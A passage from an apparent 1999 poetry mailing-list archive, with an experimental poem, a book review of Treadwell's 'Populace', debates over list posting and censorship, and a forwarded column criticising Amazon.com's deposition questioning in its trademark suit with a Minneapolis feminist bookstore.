Jennifer: FOUND HEAVENLY OUTSIDE MY INTERNAL, my separatlons ara bone by bone, drug by drug, atom by atom; I am blown apart day and nlght; I have lost love, lost emotlon; I am a GONE AND HEAVENLY CHILD, Mother help me! Father help me! My bones creak at night; like drugs, my bones speed

through my body. I live inside BLIND HOUSE in BLIND FURY, strike out again and again at the walls, missing. I take DRUGS AND OILS AND PROGRAMS, still pinned by FEARS AND NIGHTMARES. Mother help me

PRESIDENT-MACHINE-TRANSFORMS: Blinding Jennifer, keep her awake. Take out her ears

Jennifer: I can't see or hear. I can't sleep; I navar sleep. I hhngar for sleep; always exhausted, my judgamant ls not of tha bast. Thls ls my world warld waarld. I faar you wlll changa my langhaga - I want my words wards waards clhmsy as thay ara, to ramaln just as thay ara. Yat thay'll ooza banaath tha forca of tha PRESIDENT-MACHINE and of that, I am afrald.:: NIGHTMARE AND SLEEP; NAGHTMARA SLAAP

PRESIDENT-MACHINE-TRANSFORMS: Your FOUND HEAVENLY OUTSIDE MY INTERNAL, my saoaratlons ara bona by bona, dreg by dreg, atom by atom; I am blown aoart day and nlght; I hava lost lova, lost amotlon; I am a GANA AND HAAVANLY CHALD, Mothar halo ma, Fathar halo ma an Barning Craak... Waarld waaarlds waaaarlds; FAAND HAAVANLY AATSADA MA INTARNAL YAAR YAAR YARR

<Jennifer's mouth explodes; her eyes burn. She falls to the stage. Curtain falls.>

↑ Index

253. Elizabeth Treadwell

Populace

Tue 19 Oct 1999

Excuse me but I am posting a review of my book from articlemagazine.com. Thank you for your understanding! __ Elizabeth

> "These two boys were standing on the corner. A woman came around the corner. There was plate glass in windows. One of the boys saw her and his first reaction was to have lustful thoughts. She knew that and she looked at him gently and look, the other boy couldn't believe it, but there it was. His companion had turned into a pile of maggots." (9)
>
> Thus opens Elizabeth Treadwell's Populace , a book of "Highly Sorted Detail(s)" and "varied kind(s) of silence," safety-pinned purses where things are kept and apartments with TVs, terry cloth frogs, outfitted closets, where "There were reasons for our behavior but we weren't privy" (41).

Treadwell's texts gracefully and resolutely refuse to uphold the false binaries between poetry and prose, narrative and fragmentation, truth and lie, autobiography and fiction, analysis and experience, stylish and frumpy. Whether remembered or imagined, these experiences, in this world, are plausible, difficult, worthy of the scrutiny Treadwell invites us to subject them to. In this book we walk in a beautiful, uncomfortable world, to the steadily syncopating rhythms of daily troubles, daily joys, the unusual usual that makes the complexity of a life lived, or of one written. In the practice of photography, portraits of city life often tend to exemplify an idea rather than a subject.

"Identity as a question becomes nearly too stupid (dumbly mesmerizing) when the meadow is so comfortable. How can we be polite. Danger. No trespassing. In the era of simple, lucid flesh. This may all be exed out and reattempted. Twins with the same name, Mary, and Eve, who wanted to experience. I own a dictionary of terms and theory, she asserted just recently. The present moment can be a hardship." (62)

And is a hardship, though perhaps a chosen one (and perhaps not), as these texts move through deaths, mental institutions, relationships of all kinds (from friendships to incests to loves to incidental acquaintances), schools, parties, interiors and exteriors of narrators who "walk in empty streets carrying his face or is it my own in my hands" (60). Though partaking of elements of the fantastic-or maybe she really did turn him into a pile of maggots!—and certain familiar elements of certain contemporary worlds, Treadwell is not writing melodramatic tragedy with a capital T, nor is she engaging in the post prozac post-feminism post-everything nineties fluff that presumes to pass for prose writing.

Reader, you may feel that a hardworking actress (and a nineties woman) should be defined by something other than the inventory of her closet, and you would normally be right, but bear with me. There's a reason for these style notes. Your heart may rule your head in the early days of December, but common sense will prevail" (55). Treadwell is, rather, telling our fortune, writing a new realism, populated, placed, accurate as experience is accurate, that

is, changeable and complicated and contradictory and
kaleidoscopically specific.

Populace is the feeling of a day and then another day, days which descend in no particular order, words caught behind the crows in eyes and inside the day, inside the eyes, under the dress, and about the dress: there is a story, "inside furniture is a story" (18) which tells itself whether or not we listen—things here having a life, as well as making up a life—as Treadwell listens, incites our listening: "Listen to the narrative, it spills widely (None of this makes up for the page where she broke off, plus it's all lies)" (61).

Treadwell's widely spilling narratives, her "lies," her
sentences and lines and fragments and accumulations,
propose not only to engage us through narrative, sensory,
mental and emotional means what we might call "story,"
but also to map out (in the sense of exploration rather than
conquest) certain compelling terrains—both within the world
and within language—that serve to complicate what at first
might seem to be a quick, pleasurable view into the lives of
this book's populace. So, for example, in a paragraph where
we are located "on Oxford. in bright concrete. next door
there was Safeway."—information which actually pertains to
the actual city of Berkeley—where our "i" shopped in this
strange hat my sister and i shared. hair was dirty. chose
lemons." the final sentence reads "that was when i." (37)

Treadwell's sense of rhythm, of what is possible and what is not possible, of breath and pause, complicates her texts so that in the space of one sentence fragment she raises questions of the very "I" used throughout the book, of when and why it is possible to say "I" (and when and why it isn't), of what the "I" does and doesn't do, of ways to represent events in narrative and leave the narrative and the events open at the same time.

Populace stakes out regions, geographical, emotional,
stylistic territories within whose borders Treadwell's
sentences collide against one another and themselves,
borders which might seem to function primarily to define
places-Berkeley, Los Angeles, Oakland, Hollywood,
Susanville, 7-11, a house, a mental institution, a school, a
street,a dinner party, a dressing room—but which
constantly, with the inconsistency of experience, explode
any stability the mapmaker might have thought she desired.
Treadwell uses her sentences to populate a definite sense
of place:

i moved from berkeley to l.a. i moved away from l.a. after i broke up. in between a foreign country. but i only wanted to say i went to karin's dinner party (20).

Eucalyptus. That's where I live (44).

i go down rounded escalators, recalling a recent celebrity profile in the Chronicle that featured these very environs. In the BART station I pass a movie ad featuring a vaguely remembered lover, an actor who once munched my puss (13).

Associations with specific towns and places, the "several overlapping sidewalks" of curious, frustrated, hungry young North Americans are inevitable in Populace ("...these are memories, in which meaning has been compounded and withdrawn," 55) so that Treadwell's "I" is not just a shifting, expanding character in these texts, but is also me, you, us. Once we are inhabiting these texts—"He wasn't just looking at it he was in it then" (46)—its populations, places, words inhabit us. The distance between "reader" and "writer," "read and "written," "narrative" and "experience" closes and widens like the view from Alcatraz Avenue in Berkeley, where the funnel of storefront-lined, bicycle-treaded avenue pours out into the bay, the prison-cum-museum island, the bridge behind— "Gateway to the Pacific"— or to something), the view widening, narrowing, lengthening, shortening as the fog slides over the water twice daily. Treadwell's works are "set rightly to overlook / abandoned prison tourist attract / mercilessly as the waves there / the little waves of this bay our home / our situation / also that of tiger sharks" (22)

These texts map out terse sentences ("i catch the plane back. next to me there is a little boy. there are trees on that street so the air is nice. when i get home i am home" (17-18) and lengthy accumulations connected by commas and threads of thought and feeling, paragraphs which range and paragraphs which contain, concise portraits and refracting, expanding biographies. This is "regional writing" in that it is definitely located, though not definitively placed, and in that it demarcates experiential regions, terrains where things and people happen, where "i am visiting. there are old friends attaching to other people and times. there is

now" (15), borders within which there are "how many bright new centers of electricity" (67), which then act to dissolve the borders, re-form them to create further narrative, populated and empty at the same time: "Feed not on logic. I was in a foreign place. There were two towns that could be separated by name or put together by name" (10).

Absence and unity in absent unity, bound and unbound in the unbound book, the populated emptiness of distances closing up while also being kept apart, distance playing itself like its own instrument, distance. Texts which walk the edge between "here" and "there" never falling heavily on one side or another but slipping, a foot here, a foot there, edges made to outline the nothing between them: "see how it's hollow. patching" (16). A patched, hollow space held open for the text and its inhabitants (linguistic, human, humane) to escape out towards us, or for us to enter, to walk through the shifting terrains of language and experience this book makes possible. The portrait called "Polly" ends "I guess I'll be here forever now, however long or short that may be" (32). Populace itself ends without ending, with a forever invitation, however long or short that may be, back into the text:

the girl held her book open, asking him, on the stylized school stoop, forever. (67)

Jen Hofer is a poet and translator originally from the San Francisco Bay area. She now lives in Mexico City, where she is editing an anthology of contemporary poetry by Mexican women. Her poems and translations can be found in Explosive, Facture, Rhizome, and Skanky Possum. She has just published a new chapbook, As Far As, with A+Bend Books.

↑ Index

254. Todd Baron /*/ ReMap Readers

Re: wow--too much

Wed 20 Oct 1999

A suggestion or er, problem.
i'm getting approx. 50 hits a day here--
some personal--other poems which seem diredted to one person .

could we watch the singular communications please.
i delete more than i can chew.

todd baron

↑ Index

255. Todd Baron /*/ ReMap Readers
Re: E-mail for Kristin Prevallet
Wed 20 Oct 1999

Taylor Brady wrote:
>
> Could someone out there please b-c with this? Thanks.
>
> Taylor Brady

with what?

↑ Index

256. dan raphael
on sondheim, on raphael, on expression
Wed 20 Oct 1999

---

1) Maybe i should have back channeled to sondheim asking him about his work.

2) why would the same people championing alan's right to express himself on the list blast me for expressing myself. they sy the list is for exchanging ideas and get dont get up in arms about me.

3) i do not favor censorship. i was not asking the list meister to limit sondheims posting, but asking alan to consider the frequency of his positng in lieu of the list's limited time and reader's time as well. unlike several of the people who back-channeled me i get my list in digest form and cannot delete posts on sight. i do read through everything that's sent me. [there's always a lot of back-channel discussion. no one posted to the list in favor of my opinion, tho i received several back channels in support, as i suppose alan did]

4) but back to differences of opinions. some say that's what the list is for. and i suppose i should craft some moreciritcal reasons why i dont think reading most of alan's postings is worth my time. maybe even a reason critical argument would go against what some people see as the list's range ofitnerests/behaviors, since we dont see much heated discussion

5) lets see more poems by more people. lets' see more opinons about poems, more poetics & elss personalities. or maybe all of the above

↑ Index

257. Thomas Bell
Re: Lest I remember
Wed 20 Oct 1999

alan has been doing this for a long time. it's part of the list for me tom bell

--
//\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\
OOOPSY \//\\\/\//\\\/ <><>,...,.,
WHOOPS J K JOVE BY HHH ZOOOOZ ZEUS'WRATHHTARW
 LLLL STOPG [EMPTY] SPACER

index of online work at http://members.home.net/trbell
essays: http://members.tripod.com/~trbell/criticism/gloom.htm

↑ Index

258. Ron Silliman
Amazon v. Amazon
Wed 20 Oct 1999

Some of you may know that Amazon Bookstore has been a feminist location for years in Minneapolis, long before Jeff Bezos appropriated the name for his website. Predictably, this has led to a fight in the courts over ownership of the name. The following is from Holt Uncensored, an excellent e-mail letter by Pat Holt for the Northern California Independent Booksellers Association.

What follows below is Pat's column and commentary on the unsubtle uses of homophobia in its legal defense. Given how many small press web sites offer links to the Bezos/Amazon site, which has already gained a reputation for not fulfilling orders from small presses (instead just telling the buyers that it is o.p.), I think it's worth considering just who you are doing business with.

To get on the Holt Uncensored list, just click over to:

http://www.nciba.com/patholt.html

Ron Silliman

AMAZON V. AMAZON:
SEX, LIES AND DEPOSITIONS

So here's the scene: One of the five owners of Amazon Bookstore in Minneapolis - the oldest feminist bookstore in the country - is being deposed by lawyers representing Amazon.com, the online bookseller based in Seattle - when a very strange thing happens.

Q (AMAZON.COM LAWYER): Have you had any particular interest in feminism?
A (AMAZON BOOKSTORE CO-OWNER): Yes.

Q: Dating back to when?
MR. SAMUEL (Amazon Bookstore lawyer): Objection, Vague.
A. I don't know. I don't remember.
Q. Seventies, college, before?
A. Possibly.
Q. Have you had any interest in promoting lesbian ideals in the community?
MR. SAMUEL: Object to the question as vague. Also it's completely irrelevant.
A. I don't know exactly. Can you be a little clearer?
Q. I'll ask you this, are you gay? [To Mr. Samuel] And let me say this, Matt, you know the objections. I understand you have a job to do, and I'm going to ignore you for the rest of the deposition . . .

Good heavens. As you may remember (see #80), Amazon Bookstore (founded in 1970) is suing Amazon.com (founded in 1995) for trademark infringement. The Minneapolis bookstore contends that it has lost money for years because of confusion created by customers and vendors who mistake Amazon Bookstore for Amazon.com. Attempts by Amazon Bookstore to find a peaceful solution through talks with Amazon.com were rebuffed, they say, and they sued.

So now: What does sexual orientation have to do with trademark infringement? Let's get back to the deposition after a number of objections and discussions have followed.

Q: In 1987, was the purpose of the entity for which you worked to just sell books for profit?
A: We sell books to stay in business for a profit, yeah. I guess I would say that.
Q: You sell books, but has the purpose remained the same since 1987?
A: The purpose is - has been to sell books.
Q: Nothing else?
A: Not in my opinion.
Q. Okay. . . Are any of the employees at the Bookstore gay, and forgive me for asking this question.
MR. SAMUEL: I'm going to object to the question as irrelevant. Calls for speculation.
A: You're asking me to speculate on my coworkers' sexuality, is that the question?
Q: I'm asking if you know.

And here the Amazon.com lawyer inserts what is to him an analogy that will explain all.

Q: I think, for example, if I tell people or introduce them to my wife and tell them this is my wife, I'm married to her, if somebody asks me if I'm married or

asks somebody else to whom I've just introduced my wife whether I'm married, that person can say yeah, he's married, to my knowledge to a woman. So I'm asking you if you know if any of the individuals that you work for are gay to your knowledge.

MR. SAMUEL: Counsel, that's an absurd comparison, and you know that. You're not asking - you can ask her if any of the women at the Bookstore are married.
Q: You accused me of stereotypes. What's the difference of being married to a man or woman? Essentially, that's what I'm asking. Do you know if any of the women at the Bookstore, are any of the women at the bookstore married to a woman? A: It's not legal to be married to a woman. Q: Do they have partners?

We don't know from this public record if everyone laughed out loud at the Amazon.com's lawyer's confusion over what his wife is doing in a story that's supposed to elicit answers about gay identity.

But let's give some points to the Amazon Bookstore co-owner for helpfully pointing out something he should know as a lawyer - that women can't be married to one another. Why she doesn't bonk him on the head with a law book is a puzzlement.

And what any of this has to do with trademark infringement is a mystery. Could it be that Amazon.com has no defense, and its lawyers know it?

Ah, but the next day the Amazon.com lawyer is fresh and anxious to do the right thing as he begins deposing another co-owner of Amazon Bookstore, to whom he shows a document.

Q: You see in the E-mail it states, all the owners at this time of Amazon Bookstore Cooperative and historically have been all lesbians. Do you see that?
A: No. Where is that?
Q: Is that an accurate statement, to your knowledge? I don't mean to ask a personal question, and I apologize for doing so.
MR. SAMUEL: Yeah. Just hold on for a second. . .
(OBJECTIONS AND OFF-THE-RECORD DISCUSSIONS FOLLOW)
Q: Do you know whether any of the current owners or employees of Amazon Bookstore Cooperative are partners?
MR. SAMUEL: Same objection . . . this question is invasive, and it's clearly irrelevant. (MORE OBJECTIONS)

Finally the Amazon.com lawyer decides to state why he thinks the question is relevant. He stops the proceedings and says the following:

"I think it's important, as I said yesterday, that a jury understands how Amazon Bookstore Cooperative represents itself to the public, and I think as part of that, it's important for the jury to know, for example, whether the people who

work in the Bookstore have a particular sexual orientation because obviously from the perspective of my client, we think that's important to the case, the defense's case, and that is one of the grounds for relevance."

You can skip the rest of his explanation, but in deference to what I think he is trying to say I've transcribed it anyway:

"And on the question of whether people are partners, in deposing people, and if we continue to depose employees at the Bookstore, I would certainly like to know if they have a relationship with somebody else at the Bookstore. And it would be more likely than not that they would have access to the same information, similar to a man and a woman who are married."

Well, there he goes again (not listening to yesterday's witness, by the way), though it's clear he's not comfortable with the line of questioning and has one thing further to say:

"And, again, I don't take any pleasure in asking these questions, and from my perspective, I ask them - to me, it's like asking somebody if they have red hair. I don't particularly put a label on somebody because they have a particular sexual orientation. To me if you're married, it doesn't matter if you're married as a man and a woman, woman and woman or man and a man."

So that's very gracious of Amazon.com's lawyer, and we're sure the co-owners of Amazon Bookstore, who had to sit through many days of questions and assumptions that were just as irrelevant as these, felt a lot better when he explained himself.

Meanwhile, it's worth looking at such testimony to appreciate why the court makes these kinds of depositions public: If Amazon.com thinks it's playing some kind of hardball by disclosing the sexual identity and relationships of the staff of Amazon Bookstore, we should know it.

And we should know that all of these questions are being asked not just by some attorney fishing for bait he can use later but "from the perspective of my client," which is to say the people who own and operate Amazon.com.

Can't you see some strategist in a back room somewhere suddenly looking as if the light has dawned. Say, he says to himself, these women are dykes! We can't lose! Our 'defense' is proof they're a bunch of lezbos and we walk away with the trial!

Otherwise, why ask how "the Amazon Bookstore Cooperative represents itself to the public" when it's clear on every identifying statement made by that store that it's a feminist bookstore? Its website is http://www.amazonFEMBKS.com (emphasis mine). Its purpose is the same as every other independent bookstore

in the country - to "sell books to stay in business for a profit" as the co-owner testified. Of course it sells a lot of lesbian books - so does Amazon.com!

To Matt Samuel, the Amazon Bookstore lawyer who appears to be getting madder and madder during the depositions, "this line of questioning by Amazon.com borders on the outrageous," as he said on the phone yesterday. To stop it, on October 8 he moved for a protective order "to prevent Defendant Amazon.com from inquiring into the sexual orientation or relationships of any witness in this case."

In this motion, Samuel makes the astute observation that "under Amazon.com's view of the law, Amazon Bookstore could and should have asked Amazon.com's President, Jeff Bezos, if he is gay or straight, and whether he is sleeping with anyone in his company who also might be a witness.

"One would think that both Mr. Bezos and his counsel would have taken offense at this line of questioning, and refused to answer. The principals of Amazon Bookstore are entitled to every bit as much respect and protection from harassment as Mr. Bezos."

So come on, Jeff, one wants to say: Call off the dogs. This suit is a legitimate attempt to determine trademark infringement. It's not about anything else. If you think it is, you're not fighting fair. (And by the way, have you ever had a boyfriend?)

Note: The hearing on this motion is set for October 27. Anyone who'd like to contribute to the Amazon Bookstore Legal Defense Fund can send checks to the store (Amazon Bookstore, 1612 Harmon Place, Minneapolis MI 55403. Should Amazon Bookstore win or settle the suit, all donations will be returned. You can also buy AmazonNOTcom buttons ($2 each plus .75) or t-shirts ($18 plus $4 shipping & handling) that say "I support the original Amazon Bookstore. Since 1970" by contacting [redacted] .

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259. **Stephen Ellis**

Re: up with down!

Wed 20 Oct 1999

The questions over who does and/or does not "like" (the number of) Alan Sondheim's posts suggest further questions, beyond taste, which point to questions of authority, power and interceding actions on the part of those capable of it, ie., forms of "censorship" obscured by these having obvious "reasons." Sondheim's posts

seem relatively "neutral" - that is, they don't introduce direct questions concerning the authority of those who choose posts. (In fact, any idea of editing or censoring posts would be likely to invoke protests over just representations of listee intent, uncomfortable accusations of prejudice, pseudo-fascist ellipsis and what not, it being easier to simply let things fly and/or sit as they are received.) Is it possible

that a large number of inoffensive posts per month from an individual might be allowed to "pass", while a similar number of more aggressive posts - ie., aggressive with respect to the presumptions underlying the general direction and intent (and purpose) of the list as dictated, to some extent, by the tastes and "beliefs" of the listees, as well as the list moderator - might be cause for removal from the list for reasons of the sheer unassailable conflict that might result?

One recalls here the removal of Henry Gould and Gabriel Gudding last year, ostensibly for posting "too many messages", many of which were rather adamantly and openly critical - and at times downright mocking - of a particular "seriousness" to which many on the list seem otherwise intensely devoted. There probably IS an unspoken, undefined yet presumed "behavioral standard" for those posting to the list, not least of which has to do with a certain gravity of address, that what we're all involved with here is, indeed, not to be called down by gauche cynicism or direct personal attack that is not primarily directed toward "the question at hand", that being objectified as what's called

The Work. Yet isn't one of the many functions of The Work to point out the slightly hilarious absence of the king's clothes, and the enormous balnk gaps in comprehension of "a world" in which one is free to choose to leave all sorts of claw-marks in the process of crawling always further into and back out of what's always almost never quite there? So with Sondheim, whose posts are nothing if not the exact teeth-marks of the more-or-less ordinal chewing swami.

But what of posts that push the envelope of the group's assumptions? (ie., what ARE the group's assumptions?) While it is quite natural for the list moderator to want to put forth a list that is goodly liberal in its appearance of fairness and openness, the question remains as to just how tolerant s/he may be in the face of more direct questions as to the purpose of the list, and who and what it is for - discussion, sure, but what can come of what seems an endless series of come ups and put downs in the public sphere, when

certain kinds of criticism are represssed by simply removing those in question from the list? While I'm not suggesting that this kind of quiet censorship makes the list the equivalent of the Republican National Convention, there ARE conventions operating behind the public presentation of the list that might more usefully be brought into the open. I recall a story I heard this summer over dinner

during a break in the Boston Alternative Poetry Conference that neatly points up this issue. During mention of Douglas Rothschild's fine performance earlier in the day, Bill Luoma noted that Douglas had had the honor of being the first person kicked off the UB list for "a scathing post" he had written and sent from Luoma's address. While the message, I believe, was posted, it was also accompanied by an angry phone call to Luoma from Charles Bernstein, who demanded that Luoma never let Rothschild send a message from his (Luoma's) computer again. So

there ARE obviously invisible ley lines and pressures operating behind the UB list scene in order to build an agreeable presentation, though of course in light of this story - are there others? - there is reason to question the honesty and openness - if not the outright authority - of those whose choices make the list whatever it continues to be. Perhaps this might give cause to wonder what that is, measured over against what it otherwise might be. While there may be no exact "destination" in this swimming towards what we otherwise always have to put before us in order to be able to believe we can "reach" it, is there also some truth to the fact that we, as listees, as poets, and/or as persons are simply drowning in what we might take to be the "lake of light" that may also be nothing more than our own conceit? It certainly seems a point (somewhere far ahead) worth asking, here, and now. - S E

> *From: A H Bramhall <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: up with down!*
> *Date: Fri, 15 Oct 1999 12:11:24 -0400*
>
> *Dan Raphael expressed this to the list, neglecting to capitalize his name properly, which I hate and hope something can be done about but I'll overlook because he's onto a major issue here:*
>
> *"I've been waiting for someone else to speak up about sondheim's all too often "poetry" posting to this list. It seems he just views this list as a place to post whatever comes off his typewriter."*
>
> *right on with the censorship idea! we can't let this list become prey to those who wish to post to it. we are caught up all the time with stuff, gobs*
> *of stuff. we need less stuff. we need to cut back. the heretics are ruining the garden, everything is so bad. I'm being oppressed. there are children everywhere. people are talking. it was really rainy yesterday. I can't take it anymore. Alan Sondheim keeps writing stuff, and it's not "real" poetry. it's stuff that just came off his typewriter, as opposed to the other kind. what right does he have? let us band together, I mean it, and demand that Alan stop posting stuff from his typewriter because if he doesn't we're*

> *going to have to learn how to use the delete button, and I for one am much too busy for that.*
>
> *yours with an urgent sense of a vast problem, yet one, I think, that we can lick, if we just, like, you know, whatever. Allen*

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↑ Index

260. Mark Prejsnar
the critic's task
Wed 20 Oct 1999

But Mark, what about the possibility of a genuinely sociological criticism, anthropological even, investigating the set of beliefs (manners, fetishes, however you want to label the learned-behavior) in the background of the work? Like, to know that Hopkins and Merce Cunningham were in Olson's head as much as the more obvious influences of Pound Yeats and WCW. And to know about where he grew up, and what his politics were, and what rules he was laying down -- so that we don't have to judge him by, say, Edwardian, or high modernist standards?

Just some, em, ur, thoughts? Jordan

****

to which i reply: I have no arguement with any of this..I think i agree with it all...My original, rather intemperate, post, was in reply to the idea that C. Beach only had the right to judge Stephen Dobyns from the point of view of Dobyns' values and goals re poetry. But if Beach is bright enuff and careful enuff to understand what those values and goals are, (and i think he is, in his new book) then he has the right (nay, the duty! he said, waving a pedagogic finger in the air....) to say that Dobyns' values and goals stink, and are part of Dobyns' problem....

This is oversimplifying on a number of levels (not least, on the level of dealing with Beach's discussion, which i found stimulating and interesting...) but for time reasons it's the best summation of my position i can give, and it does OK i believe....

--mark prejsnar
@lanta

↑ Index

261. **Ron Henry**
Re: Dobyns vs. Hejinian
Wed 20 Oct 1999

As a former (and often at the time frustrated) student of Stephen Dobyns, when he was teaching at Syracuse a decade ago, I just wanted to make a couple points perhaps pertinent to the invective being thrown around. Forgive me if I am restating things already said earlier in the thread that I may have missed.

First, despite the disparity in sales between his fiction and poetry, Dobyns -- at least when I was his student -- took his poetry much more seriously (certainly compared to the detective novels, and even wrt the more serious novels). This makes me view Juliana Spahr's comparison of sales with a more interested eye than I might otherwise.

Second, I'll be a witness that he's certainly no friend of avant poetries, and this was my main frustration as a student and advisee; I well remember our verbal tussles over the validity of even as established a poet as Ashbery's (!) work.

For opinions on what he thinks poetry should do and what it shouldn't, a conscientous reviewer (I seem to have missed the original posting of this thread, but none of the layers of quotes passed down into the thread I read contain comments about this) had better read Dobyns' own essays on poetics (there are several that I know of, mostly from the late 80s). While to some degree they rehash decades-old notions of metaphor and image unlocking otherwise ineffable emotional and abstract communication, they at least position him in a way that allows a critic to not have to put words in his mouth. (Which is always a Bad Thing.)

Anyhow, anyone who has read a good deal of Dobyns' poetry (which I did while his student) knows that his project, whatever it is described as, is clearly a vastly different one than someone like Lyn Hejinian. Dobyns works on the level of tension between image and narrative, with an eye toward subverting some of the image conventions of mainstream-MFA poetries, it seems to me; he's significantly less concerned with form on the word-sound-sentence level than any poet whose name would normally be bandied about on this list. His poems often consist of (didactically-leaning) surrealist parables meant to illuminate the conceptual ruptures and assumptions of upper-middle class life, or at least the ruptures and assumptions of an upper-middle class academic like Dobyns himself.

Like the poems of his old colleague Ray Carver, Dobyns' poems sometimes seem to be notes for stories-with-an-ironic-insight that never made it to being fleshed out in prose. There's not necessarily anything wrong with that, I guess, and I knew plenty of folks who thought Dobyns' poetry was wonderful. But critiquing (and especially judging negatively) his work with the tools usually

applied to avant poetries is shooting fish in a barrel, since many of the concerns addressed by that sort of apparatus is irrelevant to his stated goals.

Ron Henry
[redacted]
Ithaca NY
--
Ron Henry / [redacted]
Aught, a journal of poetry
http://people2.clarityconnect.com/webpages6/ronhenry/aught.htm
"March March with a trouser in its heart." -- Hannah Bonner

↑ Index

262. **Mark Prejsnar**
Re: dobyns v. hejinian
Wed 20 Oct 1999

This is a really interesting post....

I would only add, what JS alludes to at the end: My Life is a very special and unusual book, among counterstream works, and among Heninian's work.... The really fair comparison would be Velocities to, say, The Cold of Poetry, which is not a selected poems, but does collect a number of major works published less accessibly over a period of time, and so has some similarity.....

I don't think that the comparison of sales figures in that case, would complicate "marginal vs. mainstream" nearly as much!

--mark prejsnar
@lanta

On Sat, 16 Oct 1999, juliana spahr wrote:

> *It seems that both Dobyns and Hejinian sell more or less similarly in poetry sales (which I think might complicate the marginal v. mainstream set up).*
>
> *Dobyns Velocities: New and Selected Poems sold 9,421 copies as of August of 1999 (a single title such as Dobyn's Body Traffic sold 3,066); Hejinian's My Life has sold around 8,000 copies as of September 1999 (Sun & Moon edition only; Burning Deck edition sold out but I don't know the print run on that). I don't have stats on other Hejinian titles but imagine they are less.*
>
> *Although one thing to consider is that Dobyns's Velocities was published in 1994. Hejinian has accumulated those sales over a much a longer time. It might take some more time to actually straighten out the sales similarities. Who knows though if Velocities will get the long term*

> *spread of sales that My Life has.*
>
> *Still seems like an interesting similarity considering the muscle of Penguin v. Sun & Moon and also there must be significant spin off sales b/c of Dobyns's other writings that make his poetry sell better. (He seems to be the best selling Penguin poet.)*
>
> *Lisa Samuels has an article written shortly after (it seems) Beach's where she complains about the canonization of My Life in MLS.*
>
> *I'm looking forward to reading the Beach.*

↑ Index

263. Bob Perelman
Ten to One
Wed 20 Oct 1999

Just out from Wesleyan:

Ten to One: selected poems, Bob Perelman.

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264. Mark Prejsnar
the real issue of audience
Wed 20 Oct 1999

David Kellog wrote: I'm not sure I understand the question. I _do_ think that Beach's analysis is dismissive of the real issue of audience. In fact, his analysis of Dobyns's audience is wholly dismissive: it is a "built-in academic audience of more than three hundred creative writing programs" (59). While a few gestures are made toward what reviewers have to say about Dobyns, or more often what they do not say: "reviewers seldom speak about his use of form, if they mention it at all." (61)

****

Mark prejsnar replies: WHAT IS the real issue of audience?? It seems to me that Beach DOES address aspects of the issue of audience, throughout that chapter, and throughout the book.... In what way do you think he hasn't addressed "the real issue" ...? And by the way, the quotations you give from the chapter above, .. seem to me like perfectly useful and interesting asides by Beach (altho they are by no means the sum and substance of his arguments...)

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265. **Mark Prejsnar**
sociology
Wed 20 Oct 1999

D Kellogg writes:

In fact, I contributed to that false dichotomy by framing the "consequence" of Beach's position in terms of what Dobyns thinks. More properly, what Dobyns's readers _do_ with Dobyns is the (sociological) point at issue.

Mark, why do you lay down the "critic's task" in such prescriptive terms? If Beach wants to act as a critic in the terms you're laying out, fine -- but it's the way criticism (aesthetics) _always_ trumps sociology in this chapter -- the way sociology is just an excuse for another close reading -- that gets me.

****

Mark P. replies: these are reasonable points; there are many points of emphasis where we differ a bit, but i will grant many things you say; ...

i only feel (maybe i'm just less rigorous and original than you, in thnking about these issues...) that C. Beach has made an interesting start toward siting some of the overall tension lines and creative currents on the contemporary scene.... Despite many limitations in his book..

It sounds to me like you have some ideas of your own about how a sociology of the poetry world would work.... Maybe (if you haven't) you should publish 'em (...or give us a citation, if they are partly out there somewhere in print) ... i'm quite willing to believe that they would be valuble, and wd. fill in the lacunae in Beach's work...

↑ Index

266. **Mark Prejsnar**
Re: Bishop Nixs Pound!
Wed 20 Oct 1999

This is pretty fascinating... i think that maybe ol' Ez would suggest that such a holy canonization was wildly and humorously inappropriate for him.... He didn't have all that much use for Xianity..... (he seems to have thought it was OK for keeping those peasants happy down on the farm, in the "middle ages", but deeply disliked it as a living force..)

On Mon, 18 Oct 1999, Sylvester Pollet wrote:

> *Awhile back I posted an announcement of Ezra Pound's induction into the Poets Corner at St John the so-called Divine in New York scheduled for later this week. Here's the latest news from Tim Redman (I asked permission to forward this):*

> *I was informed by Omar Pound that Ezra Pound's installation in the Poet's Corner of St. John the Divine has been denied by the bishop. Evidently, a petition was circulated among parishioners protesting the decision by the Electors and threatening a demonstration.*
>
> *Tim Redman*
>
> *Anybody know any cardinals? Sylvester*

↑ Index

267. Lisa Samuels
dobyns v. hejinian
Wed 20 Oct 1999

hi juliana, all,

it's funny, i don't think of that essay as 'complaining' about the canonizing of =my life= -- but i guess it does, sort of. it's called "eight justifications for canonizing =my life=" and it investigates why =that book= is so acceptable, a palatable experimental work. lyn & i have had interesting talk and correspondence about the matter, about in her words what it means to be "accused of being happy." thus, she says, her responsive work "happily," emerging in installments near you.

lisa s.

↑ Index

268. Aviva V. Gabriel
Applying for ISBN #???
Wed 20 Oct 1999

Does anyone on this list know how to apply for an ISBN # for a self-published book? I have a colleague at work who wants amazon.com to carry her book, but they need an ISBN # first... of course. Thanks so much.

Aviva Vogel Gabriel
Poetangles & Motherdrum Studios
P.O. Box 1085
Norwich, VT 05055-1085

Kind of empty in the way it sees everything, the earth
gets to its feet and salutes the sky.

--John Ashbery, from "For John Clare"
----- Original Message -----
From: juliana spahr <[redacted]>
To: <[redacted]>
Sent: Saturday, October 16, 1999 12:44 PM
Subject: dobyns v. hejinian

> *It seems that both Dobyns and Hejinian sell more or less similarly in poetry sales (which I think might complicate the marginal v. mainstream set up).*
>
> *Dobyns Velocities: New and Selected Poems sold 9,421 copies as of August of 1999 (a single title such as Dobyn's Body Traffic sold 3,066); Hejinian's My Life has sold around 8,000 copies as of September 1999 (Sun & Moon edition only; Burning Deck edition sold out but I don't know the print run on that). I don't have stats on other Hejinian titles but imagine they are less.*
>
> *Although one thing to consider is that Dobyns's Velocities was published in 1994. Hejinian has accumulated those sales over a much a longer time. It might take some more time to actually straighten out the sales similarities. Who knows though if Velocities will get the long term spread of sales that My Life has.*
>
> *Still seems like an interesting similarity considering the muscle of Penguin v. Sun & Moon and also there must be significant spin off sales b/c of Dobyns's other writings that make his poetry sell better. (He seems to be the best selling Penguin poet.)*
>
> *Lisa Samuels has an article written shortly after (it seems) Beach's where she complains about the canonization of My Life in MLS.*
>
> *I'm looking forward to reading the Beach.*

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269. George Bowering
Re: _Words_ by R.C.
Wed 20 Oct 1999

